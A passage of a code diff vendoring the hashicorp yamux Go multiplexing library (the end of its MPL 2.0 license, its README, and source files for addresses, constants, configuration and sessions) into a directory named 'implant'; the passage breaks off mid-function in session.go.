+      distinguishing version number.
+
+10.2. Effect of New Versions
+
+      You may distribute the Covered Software under the terms of the version
+      of the License under which You originally received the Covered Software,
+      or under the terms of any subsequent version published by the license
+      steward.
+
+10.3. Modified Versions
+
+      If you create software not governed by this License, and you want to
+      create a new license for such software, you may create and use a
+      modified version of this License if you rename the license and remove
+      any references to the name of the license steward (except to note that
+      such modified license differs from this License).
+
+10.4. Distributing Source Code Form that is Incompatible With Secondary
+      Licenses If You choose to distribute Source Code Form that is
+      Incompatible With Secondary Licenses under the terms of this version of
+      the License, the notice described in Exhibit B of this License must be
+      attached.
+
+Exhibit A - Source Code Form License Notice
+
+      This Source Code Form is subject to the
+      terms of the Mozilla Public License, v.
+      2.0. If a copy of the MPL was not
+      distributed with this file, You can
+      obtain one at
+      http://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular file,
+then You may include the notice in a location (such as a LICENSE file in a
+relevant directory) where a recipient would be likely to look for such a
+notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+      This Source Code Form is "Incompatible
+      With Secondary Licenses", as defined by
+      the Mozilla Public License, v. 2.0.

implant/vendor/github.com/hashicorp/yamux/README.md

@@ -0,0 +1,86 @@
+# Yamux
+
+Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
+It relies on an underlying connection to provide reliability
+and ordering, such as TCP or Unix domain sockets, and provides
+stream-oriented multiplexing. It is inspired by SPDY but is not
+interoperable with it.
+
+Yamux features include:
+
+* Bi-directional streams
+  * Streams can be opened by either client or server
+  * Useful for NAT traversal
+  * Server-side push support
+* Flow control
+  * Avoid starvation
+  * Back-pressure to prevent overwhelming a receiver
+* Keep Alives
+  * Enables persistent connections over a load balancer
+* Efficient
+  * Enables thousands of logical streams with low overhead
+
+## Documentation
+
+For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
+
+## Specification
+
+The full specification for Yamux is provided in the `spec.md` file.
+It can be used as a guide to implementors of interoperable libraries.
+
+## Usage
+
+Using Yamux is remarkably simple:
+
+```go
+
+func client() {
+    // Get a TCP connection
+    conn, err := net.Dial(...)
+    if err != nil {
+        panic(err)
+    }
+
+    // Setup client side of yamux
+    session, err := yamux.Client(conn, nil)
+    if err != nil {
+        panic(err)
+    }
+
+    // Open a new stream
+    stream, err := session.Open()
+    if err != nil {
+        panic(err)
+    }
+
+    // Stream implements net.Conn
+    stream.Write([]byte("ping"))
+}
+
+func server() {
+    // Accept a TCP connection
+    conn, err := listener.Accept()
+    if err != nil {
+        panic(err)
+    }
+
+    // Setup server side of yamux
+    session, err := yamux.Server(conn, nil)
+    if err != nil {
+        panic(err)
+    }
+
+    // Accept a stream
+    stream, err := session.Accept()
+    if err != nil {
+        panic(err)
+    }
+
+    // Listen for a message
+    buf := make([]byte, 4)
+    stream.Read(buf)
+}
+
+```
+

implant/vendor/github.com/hashicorp/yamux/addr.go

@@ -0,0 +1,60 @@
+package yamux
+
+import (
+	"fmt"
+	"net"
+)
+
+// hasAddr is used to get the address from the underlying connection
+type hasAddr interface {
+	LocalAddr() net.Addr
+	RemoteAddr() net.Addr
+}
+
+// yamuxAddr is used when we cannot get the underlying address
+type yamuxAddr struct {
+	Addr string
+}
+
+func (*yamuxAddr) Network() string {
+	return "yamux"
+}
+
+func (y *yamuxAddr) String() string {
+	return fmt.Sprintf("yamux:%s", y.Addr)
+}
+
+// Addr is used to get the address of the listener.
+func (s *Session) Addr() net.Addr {
+	return s.LocalAddr()
+}
+
+// LocalAddr is used to get the local address of the
+// underlying connection.
+func (s *Session) LocalAddr() net.Addr {
+	addr, ok := s.conn.(hasAddr)
+	if !ok {
+		return &yamuxAddr{"local"}
+	}
+	return addr.LocalAddr()
+}
+
+// RemoteAddr is used to get the address of remote end
+// of the underlying connection
+func (s *Session) RemoteAddr() net.Addr {
+	addr, ok := s.conn.(hasAddr)
+	if !ok {
+		return &yamuxAddr{"remote"}
+	}
+	return addr.RemoteAddr()
+}
+
+// LocalAddr returns the local address
+func (s *Stream) LocalAddr() net.Addr {
+	return s.session.LocalAddr()
+}
+
+// RemoteAddr returns the remote address
+func (s *Stream) RemoteAddr() net.Addr {
+	return s.session.RemoteAddr()
+}

implant/vendor/github.com/hashicorp/yamux/const.go

@@ -0,0 +1,182 @@
+package yamux
+
+import (
+	"encoding/binary"
+	"fmt"
+)
+
+// NetError implements net.Error
+type NetError struct {
+	err       error
+	timeout   bool
+	temporary bool
+}
+
+func (e *NetError) Error() string {
+	return e.err.Error()
+}
+
+func (e *NetError) Timeout() bool {
+	return e.timeout
+}
+
+func (e *NetError) Temporary() bool {
+	return e.temporary
+}
+
+var (
+	// ErrInvalidVersion means we received a frame with an
+	// invalid version
+	ErrInvalidVersion = fmt.Errorf("invalid protocol version")
+
+	// ErrInvalidMsgType means we received a frame with an
+	// invalid message type
+	ErrInvalidMsgType = fmt.Errorf("invalid msg type")
+
+	// ErrSessionShutdown is used if there is a shutdown during
+	// an operation
+	ErrSessionShutdown = fmt.Errorf("session shutdown")
+
+	// ErrStreamsExhausted is returned if we have no more
+	// stream ids to issue
+	ErrStreamsExhausted = fmt.Errorf("streams exhausted")
+
+	// ErrDuplicateStream is used if a duplicate stream is
+	// opened inbound
+	ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
+
+	// ErrReceiveWindowExceeded indicates the window was exceeded
+	ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
+
+	// ErrTimeout is used when we reach an IO deadline
+	ErrTimeout = &NetError{
+		err: fmt.Errorf("i/o deadline reached"),
+
+		// Error should meet net.Error interface for timeouts for compatability
+		// with standard library expectations, such as http servers.
+		timeout: true,
+	}
+
+	// ErrStreamClosed is returned when using a closed stream
+	ErrStreamClosed = fmt.Errorf("stream closed")
+
+	// ErrUnexpectedFlag is set when we get an unexpected flag
+	ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
+
+	// ErrRemoteGoAway is used when we get a go away from the other side
+	ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
+
+	// ErrConnectionReset is sent if a stream is reset. This can happen
+	// if the backlog is exceeded, or if there was a remote GoAway.
+	ErrConnectionReset = fmt.Errorf("connection reset")
+
+	// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
+	// timeout writing to the underlying stream connection.
+	ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
+
+	// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
+	ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
+)
+
+const (
+	// protoVersion is the only version we support
+	protoVersion uint8 = 0
+)
+
+const (
+	// Data is used for data frames. They are followed
+	// by length bytes worth of payload.
+	typeData uint8 = iota
+
+	// WindowUpdate is used to change the window of
+	// a given stream. The length indicates the delta
+	// update to the window.
+	typeWindowUpdate
+
+	// Ping is sent as a keep-alive or to measure
+	// the RTT. The StreamID and Length value are echoed
+	// back in the response.
+	typePing
+
+	// GoAway is sent to terminate a session. The StreamID
+	// should be 0 and the length is an error code.
+	typeGoAway
+)
+
+const (
+	// SYN is sent to signal a new stream. May
+	// be sent with a data payload
+	flagSYN uint16 = 1 << iota
+
+	// ACK is sent to acknowledge a new stream. May
+	// be sent with a data payload
+	flagACK
+
+	// FIN is sent to half-close the given stream.
+	// May be sent with a data payload.
+	flagFIN
+
+	// RST is used to hard close a given stream.
+	flagRST
+)
+
+const (
+	// initialStreamWindow is the initial stream window size
+	initialStreamWindow uint32 = 256 * 1024
+)
+
+const (
+	// goAwayNormal is sent on a normal termination
+	goAwayNormal uint32 = iota
+
+	// goAwayProtoErr sent on a protocol error
+	goAwayProtoErr
+
+	// goAwayInternalErr sent on an internal error
+	goAwayInternalErr
+)
+
+const (
+	sizeOfVersion  = 1
+	sizeOfType     = 1
+	sizeOfFlags    = 2
+	sizeOfStreamID = 4
+	sizeOfLength   = 4
+	headerSize     = sizeOfVersion + sizeOfType + sizeOfFlags +
+		sizeOfStreamID + sizeOfLength
+)
+
+type header []byte
+
+func (h header) Version() uint8 {
+	return h[0]
+}
+
+func (h header) MsgType() uint8 {
+	return h[1]
+}
+
+func (h header) Flags() uint16 {
+	return binary.BigEndian.Uint16(h[2:4])
+}
+
+func (h header) StreamID() uint32 {
+	return binary.BigEndian.Uint32(h[4:8])
+}
+
+func (h header) Length() uint32 {
+	return binary.BigEndian.Uint32(h[8:12])
+}
+
+func (h header) String() string {
+	return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
+		h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
+}
+
+func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
+	h[0] = protoVersion
+	h[1] = msgType
+	binary.BigEndian.PutUint16(h[2:4], flags)
+	binary.BigEndian.PutUint32(h[4:8], streamID)
+	binary.BigEndian.PutUint32(h[8:12], length)
+}

implant/vendor/github.com/hashicorp/yamux/mux.go

@@ -0,0 +1,118 @@
+package yamux
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"time"
+)
+
+// Config is used to tune the Yamux session
+type Config struct {
+	// AcceptBacklog is used to limit how many streams may be
+	// waiting an accept.
+	AcceptBacklog int
+
+	// EnableKeepalive is used to do a period keep alive
+	// messages using a ping.
+	EnableKeepAlive bool
+
+	// KeepAliveInterval is how often to perform the keep alive
+	KeepAliveInterval time.Duration
+
+	// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
+	// we which will suspect a problem with the underlying connection and
+	// close it. This is only applied to writes, where's there's generally
+	// an expectation that things will move along quickly.
+	ConnectionWriteTimeout time.Duration
+
+	// MaxStreamWindowSize is used to control the maximum
+	// window size that we allow for a stream.
+	MaxStreamWindowSize uint32
+
+	// StreamOpenTimeout is the maximum amount of time that a stream will
+	// be allowed to remain in pending state while waiting for an ack from the peer.
+	// Once the timeout is reached the session will be gracefully closed.
+	// A zero value disables the StreamOpenTimeout allowing unbounded
+	// blocking on OpenStream calls.
+	StreamOpenTimeout time.Duration
+
+	// StreamCloseTimeout is the maximum time that a stream will allowed to
+	// be in a half-closed state when `Close` is called before forcibly
+	// closing the connection. Forcibly closed connections will empty the
+	// receive buffer, drop any future packets received for that stream,
+	// and send a RST to the remote side.
+	StreamCloseTimeout time.Duration
+
+	// LogOutput is used to control the log destination. Either Logger or
+	// LogOutput can be set, not both.
+	LogOutput io.Writer
+
+	// Logger is used to pass in the logger to be used. Either Logger or
+	// LogOutput can be set, not both.
+	Logger Logger
+}
+
+func (c *Config) Clone() *Config {
+	c2 := *c
+	return &c2
+}
+
+// DefaultConfig is used to return a default configuration
+func DefaultConfig() *Config {
+	return &Config{
+		AcceptBacklog:          256,
+		EnableKeepAlive:        true,
+		KeepAliveInterval:      30 * time.Second,
+		ConnectionWriteTimeout: 10 * time.Second,
+		MaxStreamWindowSize:    initialStreamWindow,
+		StreamCloseTimeout:     5 * time.Minute,
+		StreamOpenTimeout:      75 * time.Second,
+		LogOutput:              os.Stderr,
+	}
+}
+
+// VerifyConfig is used to verify the sanity of configuration
+func VerifyConfig(config *Config) error {
+	if config.AcceptBacklog <= 0 {
+		return fmt.Errorf("backlog must be positive")
+	}
+	if config.KeepAliveInterval == 0 {
+		return fmt.Errorf("keep-alive interval must be positive")
+	}
+	if config.MaxStreamWindowSize < initialStreamWindow {
+		return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
+	}
+	if config.LogOutput != nil && config.Logger != nil {
+		return fmt.Errorf("both Logger and LogOutput may not be set, select one")
+	} else if config.LogOutput == nil && config.Logger == nil {
+		return fmt.Errorf("one of Logger or LogOutput must be set, select one")
+	}
+	return nil
+}
+
+// Server is used to initialize a new server-side connection.
+// There must be at most one server-side connection. If a nil config is
+// provided, the DefaultConfiguration will be used.
+func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
+	if config == nil {
+		config = DefaultConfig()
+	}
+	if err := VerifyConfig(config); err != nil {
+		return nil, err
+	}
+	return newSession(config, conn, false), nil
+}
+
+// Client is used to initialize a new client-side connection.
+// There must be at most one client-side connection.
+func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
+	if config == nil {
+		config = DefaultConfig()
+	}
+
+	if err := VerifyConfig(config); err != nil {
+		return nil, err
+	}
+	return newSession(config, conn, true), nil
+}

implant/vendor/github.com/hashicorp/yamux/session.go

@@ -0,0 +1,749 @@
+package yamux
+
+import (
+	"bufio"
+	"bytes"
+	"context"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"log"
+	"math"
+	"net"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+// Session is used to wrap a reliable ordered connection and to
+// multiplex it into multiple streams.
+type Session struct {
+	// remoteGoAway indicates the remote side does
+	// not want futher connections. Must be first for alignment.
+	remoteGoAway int32
+
+	// localGoAway indicates that we should stop
+	// accepting futher connections. Must be first for alignment.
+	localGoAway int32
+
+	// nextStreamID is the next stream we should
+	// send. This depends if we are a client/server.
+	nextStreamID uint32
+
+	// config holds our configuration
+	config *Config
+
+	// logger is used for our logs
+	logger Logger
+
+	// conn is the underlying connection
+	conn io.ReadWriteCloser
+
+	// bufRead is a buffered reader
+	bufRead *bufio.Reader
+
+	// pings is used to track inflight pings
+	pings    map[uint32]chan struct{}
+	pingID   uint32
+	pingLock sync.Mutex
+
+	// streams maps a stream id to a stream, and inflight has an entry
+	// for any outgoing stream that has not yet been established. Both are
+	// protected by streamLock.
+	streams    map[uint32]*Stream
+	inflight   map[uint32]struct{}
+	streamLock sync.Mutex
+
+	// synCh acts like a semaphore. It is sized to the AcceptBacklog which
+	// is assumed to be symmetric between the client and server. This allows
+	// the client to avoid exceeding the backlog and instead blocks the open.
+	synCh chan struct{}
+
+	// acceptCh is used to pass ready streams to the client
+	acceptCh chan *Stream
+
+	// sendCh is used to mark a stream as ready to send,
+	// or to send a header out directly.
+	sendCh chan *sendReady
+
+	// recvDoneCh is closed when recv() exits to avoid a race
+	// between stream registration and stream shutdown
+	recvDoneCh chan struct{}
+	sendDoneCh chan struct{}
+
+	// shutdown is used to safely close a session
+	shutdown        bool
+	shutdownErr     error
+	shutdownCh      chan struct{}
+	shutdownLock    sync.Mutex
+	shutdownErrLock sync.Mutex
+}
+
+// sendReady is used to either mark a stream as ready
+// or to directly send a header
+type sendReady struct {
+	Hdr  []byte
+	mu   sync.Mutex // Protects Body from unsafe reads.
+	Body []byte
+	Err  chan error
+}
+
+// newSession is used to construct a new session
+func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
+	logger := config.Logger
+	if logger == nil {
+		logger = log.New(config.LogOutput, "", log.LstdFlags)
+	}
+
+	s := &Session{
+		config:     config,
+		logger:     logger,
+		conn:       conn,
+		bufRead:    bufio.NewReader(conn),
+		pings:      make(map[uint32]chan struct{}),
+		streams:    make(map[uint32]*Stream),
+		inflight:   make(map[uint32]struct{}),
+		synCh:      make(chan struct{}, config.AcceptBacklog),
+		acceptCh:   make(chan *Stream, config.AcceptBacklog),
+		sendCh:     make(chan *sendReady, 64),
+		recvDoneCh: make(chan struct{}),
+		sendDoneCh: make(chan struct{}),
+		shutdownCh: make(chan struct{}),
+	}
+	if client {
+		s.nextStreamID = 1
+	} else {
+		s.nextStreamID = 2
+	}
+	go s.recv()
+	go s.send()
+	if config.EnableKeepAlive {
+		go s.keepalive()
+	}
+	return s
+}
+
+// IsClosed does a safe check to see if we have shutdown
+func (s *Session) IsClosed() bool {
+	select {
+	case <-s.shutdownCh:
+		return true
+	default:
+		return false
+	}
+}
+
+// CloseChan returns a read-only channel which is closed as
+// soon as the session is closed.
+func (s *Session) CloseChan() <-chan struct{} {
+	return s.shutdownCh
+}
+
+// NumStreams returns the number of currently open streams
+func (s *Session) NumStreams() int {
+	s.streamLock.Lock()
+	num := len(s.streams)
+	s.streamLock.Unlock()
+	return num
+}
+
+// Open is used to create a new stream as a net.Conn
+func (s *Session) Open() (net.Conn, error) {
+	conn, err := s.OpenStream()
+	if err != nil {
+		return nil, err
+	}
+	return conn, nil
+}
+
+// OpenStream is used to create a new stream
+func (s *Session) OpenStream() (*Stream, error) {
+	if s.IsClosed() {
+		return nil, ErrSessionShutdown
+	}
+	if atomic.LoadInt32(&s.remoteGoAway) == 1 {
+		return nil, ErrRemoteGoAway
+	}
+
+	// Block if we have too many inflight SYNs
+	select {
+	case s.synCh <- struct{}{}:
+	case <-s.shutdownCh:
+		return nil, ErrSessionShutdown
+	}
+
+GET_ID:
+	// Get an ID, and check for stream exhaustion
+	id := atomic.LoadUint32(&s.nextStreamID)
+	if id >= math.MaxUint32-1 {
+		return nil, ErrStreamsExhausted
+	}
+	if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
+		goto GET_ID
+	}
+
+	// Register the stream
+	stream := newStream(s, id, streamInit)
+	s.streamLock.Lock()
+	s.streams[id] = stream
+	s.inflight[id] = struct{}{}
+	s.streamLock.Unlock()
+
+	if s.config.StreamOpenTimeout > 0 {
+		go s.setOpenTimeout(stream)
+	}
+
+	// Send the window update to create
+	if err := stream.sendWindowUpdate(); err != nil {
+		select {
+		case <-s.synCh:
+		default:
+			s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
+		}
+		return nil, err
+	}
+	return stream, nil
+}
+
+// setOpenTimeout implements a timeout for streams that are opened but not established.
+// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
+// and close the session.
+// The number of running timers is bounded by the capacity of the synCh.
+func (s *Session) setOpenTimeout(stream *Stream) {
+	timer := time.NewTimer(s.config.StreamOpenTimeout)
+	defer timer.Stop()
+
+	select {
+	case <-stream.establishCh:
+		return
+	case <-s.shutdownCh:
+		return
+	case <-timer.C:
+		// Timeout reached while waiting for ACK.
+		// Close the session to force connection re-establishment.
+		s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
+		s.Close()
+	}
+}
+
+// Accept is used to block until the next available stream
+// is ready to be accepted.
+func (s *Session) Accept() (net.Conn, error) {
+	conn, err := s.AcceptStream()
+	if err != nil {
+		return nil, err
+	}
+	return conn, err
+}
+
+// AcceptStream is used to block until the next available stream
+// is ready to be accepted.
+func (s *Session) AcceptStream() (*Stream, error) {
+	select {
+	case stream := <-s.acceptCh:
+		if err := stream.sendWindowUpdate(); err != nil {
+			return nil, err
+		}
+		return stream, nil
+	case <-s.shutdownCh:
+		return nil, s.shutdownErr
+	}
+}
+
+// AcceptStream is used to block until the next available stream
+// is ready to be accepted.
+func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
+	select {
+	case <-ctx.Done():
+		return nil, ctx.Err()
+	case stream := <-s.acceptCh:
+		if err := stream.sendWindowUpdate(); err != nil {
+			return nil, err
+		}
+		return stream, nil
+	case <-s.shutdownCh:
+		return nil, s.shutdownErr
+	}
+}
+
+// Close is used to close the session and all streams.
+// Attempts to send a GoAway before closing the connection.
+func (s *Session) Close() error {
+	s.shutdownLock.Lock()
+	defer s.shutdownLock.Unlock()
+
+	if s.shutdown {
+		return nil
+	}
+	s.shutdown = true
+
+	s.shutdownErrLock.Lock()
+	if s.shutdownErr == nil {
+		s.shutdownErr = ErrSessionShutdown
+	}
+	s.shutdownErrLock.Unlock()
+
+	close(s.shutdownCh)
+
+	s.conn.Close()
+	<-s.recvDoneCh
+
+	s.streamLock.Lock()
+	defer s.streamLock.Unlock()
+	for _, stream := range s.streams {
+		stream.forceClose()
+	}
+	<-s.sendDoneCh
+	return nil
+}
+
+// exitErr is used to handle an error that is causing the
+// session to terminate.
+func (s *Session) exitErr(err error) {
+	s.shutdownErrLock.Lock()
+	if s.shutdownErr == nil {
+		s.shutdownErr = err
+	}
+	s.shutdownErrLock.Unlock()
+	s.Close()
+}
+
+// GoAway can be used to prevent accepting further
+// connections. It does not close the underlying conn.
+func (s *Session) GoAway() error {
+	return s.waitForSend(s.goAway(goAwayNormal), nil)
+}
+
+// goAway is used to send a goAway message
+func (s *Session) goAway(reason uint32) header {
+	atomic.SwapInt32(&s.localGoAway, 1)
+	hdr := header(make([]byte, headerSize))
+	hdr.encode(typeGoAway, 0, 0, reason)
+	return hdr
+}
+
+// Ping is used to measure the RTT response time
+func (s *Session) Ping() (time.Duration, error) {
+	// Get a channel for the ping
+	ch := make(chan struct{})
+
+	// Get a new ping id, mark as pending
+	s.pingLock.Lock()
+	id := s.pingID
+	s.pingID++
+	s.pings[id] = ch
+	s.pingLock.Unlock()
+
+	// Send the ping request
+	hdr := header(make([]byte, headerSize))
+	hdr.encode(typePing, flagSYN, 0, id)
+	if err := s.waitForSend(hdr, nil); err != nil {
+		return 0, err
+	}
+
+	// Wait for a response
+	start := time.Now()
+	select {
+	case <-ch:
+	case <-time.After(s.config.ConnectionWriteTimeout):
+		s.pingLock.Lock()
+		delete(s.pings, id) // Ignore it if a response comes later.
+		s.pingLock.Unlock()
+		return 0, ErrTimeout
+	case <-s.shutdownCh:
+		return 0, ErrSessionShutdown
+	}
+
+	// Compute the RTT
+	return time.Since(start), nil
+}
+
+// keepalive is a long running goroutine that periodically does
+// a ping to keep the connection alive.
+func (s *Session) keepalive() {
+	for {
+		select {
+		case <-time.After(s.config.KeepAliveInterval):
+			_, err := s.Ping()
+			if err != nil {
+				if err != ErrSessionShutdown {
+					s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
+					s.exitErr(ErrKeepAliveTimeout)
+				}
+				return
+			}
+		case <-s.shutdownCh:
+			return
+		}
+	}
+}
+
+// waitForSendErr waits to send a header, checking for a potential shutdown
+func (s *Session) waitForSend(hdr header, body []byte) error {
+	errCh := make(chan error, 1)
+	return s.waitForSendErr(hdr, body, errCh)
+}
+
+// waitForSendErr waits to send a header with optional data, checking for a
+// potential shutdown. Since there's the expectation that sends can happen
+// in a timely manner, we enforce the connection write timeout here.
+func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
+	t := timerPool.Get()
+	timer := t.(*time.Timer)
+	timer.Reset(s.config.ConnectionWriteTimeout)
+	defer func() {
+		timer.Stop()
+		select {
+		case <-timer.C:
+		default:
+		}
+		timerPool.Put(t)
+	}()
+
+	ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
+	select {
+	case s.sendCh <- ready:
+	case <-s.shutdownCh:
+		return ErrSessionShutdown
+	case <-timer.C:
+		return ErrConnectionWriteTimeout
+	}
+
+	bodyCopy := func() {
+		if body == nil {
+			return // A nil body is ignored.
+		}
+
+		// In the event of session shutdown or connection write timeout,
+		// we need to prevent `send` from reading the body buffer after
+		// returning from this function since the caller may re-use the
+		// underlying array.
+		ready.mu.Lock()
+		defer ready.mu.Unlock()
+
+		if ready.Body == nil {
+			return // Body was already copied in `send`.
+		}
+		newBody := make([]byte, len(body))
+		copy(newBody, body)
+		ready.Body = newBody
+	}
+
+	select {
+	case err := <-errCh:
+		return err
+	case <-s.shutdownCh:
+		bodyCopy()
+		return ErrSessionShutdown
+	case <-timer.C:
+		bodyCopy()
+		return ErrConnectionWriteTimeout
+	}
+}
+
+// sendNoWait does a send without waiting. Since there's the expectation that
+// the send happens right here, we enforce the connection write timeout if we
+// can't queue the header to be sent.
+func (s *Session) sendNoWait(hdr header) error {
+	t := timerPool.Get()
+	timer := t.(*time.Timer)
+	timer.Reset(s.config.ConnectionWriteTimeout)
+	defer func() {
+		timer.Stop()
+		select {
+		case <-timer.C:
+		default:
+		}
+		timerPool.Put(t)
+	}()
+
+	select {
+	case s.sendCh <- &sendReady{Hdr: hdr}:
+		return nil
+	case <-s.shutdownCh:
+		return ErrSessionShutdown
+	case <-timer.C:
+		return ErrConnectionWriteTimeout
+	}
+}
+
+// send is a long running goroutine that sends data
+func (s *Session) send() {
+	if err := s.sendLoop(); err != nil {
+		s.exitErr(err)
+	}
+}
+
+func (s *Session) sendLoop() error {
+	defer close(s.sendDoneCh)
+	var bodyBuf bytes.Buffer
+	for {
+		bodyBuf.Reset()
+
+		select {
+		case ready := <-s.sendCh:
+			// Send a header if ready
+			if ready.Hdr != nil {
+				_, err := s.conn.Write(ready.Hdr)
+				if err != nil {
+					s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
+					asyncSendErr(ready.Err, err)
+					return err
+				}
+			}
+
+			ready.mu.Lock()
+			if ready.Body != nil {
+				// Copy the body into the buffer to avoid
+				// holding a mutex lock during the write.
+				_, err := bodyBuf.Write(ready.Body)
+				if err != nil {
+					ready.Body = nil
+					ready.mu.Unlock()
+					s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
+					asyncSendErr(ready.Err, err)
+					return err
+				}
+				ready.Body = nil
+			}
+			ready.mu.Unlock()
+
+			if bodyBuf.Len() > 0 {
+				// Send data from a body if given
+				_, err := s.conn.Write(bodyBuf.Bytes())
+				if err != nil {
+					s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
+					asyncSendErr(ready.Err, err)
+					return err
+				}
+			}
+
+			// No error, successful send
+			asyncSendErr(ready.Err, nil)
+		case <-s.shutdownCh:
+			return nil
+		}
+	}
+}
+
+// recv is a long running goroutine that accepts new data
+func (s *Session) recv() {
+	if err := s.recvLoop(); err != nil {
+		s.exitErr(err)
+	}
+}
+
+// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
+var (
+	handlers = []func(*Session, header) error{
+		typeData:         (*Session).handleStreamMessage,
+		typeWindowUpdate: (*Session).handleStreamMessage,
+		typePing:         (*Session).handlePing,
+		typeGoAway:       (*Session).handleGoAway,
+	}
+)
+
+// recvLoop continues to receive data until a fatal error is encountered
+func (s *Session) recvLoop() error {
+	defer close(s.recvDoneCh)
+	hdr := header(make([]byte, headerSize))
+	for {
+		// Read the header
+		if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
+			if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
+				s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
+			}
+			return err
+		}
+
+		// Verify the version
+		if hdr.Version() != protoVersion {
+			s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
+			return ErrInvalidVersion
+		}
+
+		mt := hdr.MsgType()
+		if mt < typeData || mt > typeGoAway {
+			return ErrInvalidMsgType
+		}
+
+		if err := handlers[mt](s, hdr); err != nil {
+			return err
+		}
+	}
+}
+
+// handleStreamMessage handles either a data or window update frame
+func (s *Session) handleStreamMessage(hdr header) error {
+	// Check for a new stream creation
+	id := hdr.StreamID()
+	flags := hdr.Flags()
+	if flags&flagSYN == flagSYN {
+		if err := s.incomingStream(id); err != nil {
+			return err
+		}
+	}
+
+	// Get the stream
+	s.streamLock.Lock()
+	stream := s.streams[id]
+	s.streamLock.Unlock()
+
+	// If we do not have a stream, likely we sent a RST
+	if stream == nil {
+		// Drain any data on the wire
+		if hdr.MsgType() == typeData && hdr.Length() > 0 {
+			s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
+			if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
+				s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
+				return nil
+			}
+		} else {
+			s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
+		}
+		return nil
+	}
+
+	// Check if this is a window update
+	if hdr.MsgType() == typeWindowUpdate {
+		if err := stream.incrSendWindow(hdr, flags); err != nil {
+			if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
+				s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
+			}
+			return err
+		}
+		return nil
+	}
+
+	// Read the new data
+	if err := stream.readData(hdr, flags, s.bufRead); err != nil {
+		if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
+			s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
+		}
+		return err
+	}
+	return nil
+}
+
+// handlePing is invokde for a typePing frame
+func (s *Session) handlePing(hdr header) error {
+	flags := hdr.Flags()
+	pingID := hdr.Length()
+
+	// Check if this is a query, respond back in a separate context so we
+	// don't interfere with the receiving thread blocking for the write.
+	if flags&flagSYN == flagSYN {
+		go func() {
+			hdr := header(make([]byte, headerSize))
+			hdr.encode(typePing, flagACK, 0, pingID)
+			if err := s.sendNoWait(hdr); err != nil {
+				s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
+			}
+		}()
+		return nil
+	}
+
+	// Handle a response
+	s.pingLock.Lock()
+	ch := s.pings[pingID]
+	if ch != nil {
+		delete(s.pings, pingID)
+		close(ch)
+	}
+	s.pingLock.Unlock()
+	return nil
+}
+
+// handleGoAway is invokde for a typeGoAway frame
+func (s *Session) handleGoAway(hdr header) error {
+	code := hdr.Length()
+	switch code {
+	case goAwayNormal:
+		atomic.SwapInt32(&s.remoteGoAway, 1)
+	case goAwayProtoErr:
+		s.logger.Printf("[ERR] yamux: received protocol error go away")
+		return fmt.Errorf("yamux protocol error")
+	case goAwayInternalErr:
+		s.logger.Printf("[ERR] yamux: received internal error go away")
+		return fmt.Errorf("remote yamux internal error")
+	default:
+		s.logger.Printf("[ERR] yamux: received unexpected go away")
+		return fmt.Errorf("unexpected go away received")
+	}
+	return nil
+}
+
+// incomingStream is used to create a new incoming stream
+func (s *Session) incomingStream(id uint32) error {
+	// Reject immediately if we are doing a go away
+	if atomic.LoadInt32(&s.localGoAway) == 1 {
+		hdr := header(make([]byte, headerSize))
+		hdr.encode(typeWindowUpdate, flagRST, id, 0)
+		return s.sendNoWait(hdr)
+	}
+
+	// Allocate a new stream
+	stream := newStream(s, id, streamSYNReceived)
+
+	s.streamLock.Lock()
+	defer s.streamLock.Unlock()
+
+	// Check if stream already exists
+	if _, ok := s.streams[id]; ok {
+		s.logger.Printf("[ERR] yamux: duplicate stream declared")
